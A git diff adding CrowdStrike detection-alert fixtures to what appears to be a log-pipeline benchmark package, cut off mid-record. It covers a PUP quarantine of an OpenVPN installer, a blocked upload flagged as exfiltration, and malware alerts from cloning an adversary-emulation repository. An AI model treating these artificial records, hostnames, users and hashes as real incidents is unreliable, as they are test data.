"{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "input": { + "type": "cel" + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-alert" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml new file mode 100644 index 0000000000..30a2b50cf6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml @@ -0,0 +1 @@ +num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log new file mode 100644 index 0000000000..4441a6449e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log @@ -0,0 +1 @@ +{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log new file mode 100644 index 0000000000..169b2260ae --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log @@ -0,0 +1,13 @@ +{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""} +{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""} +{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""} +{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone 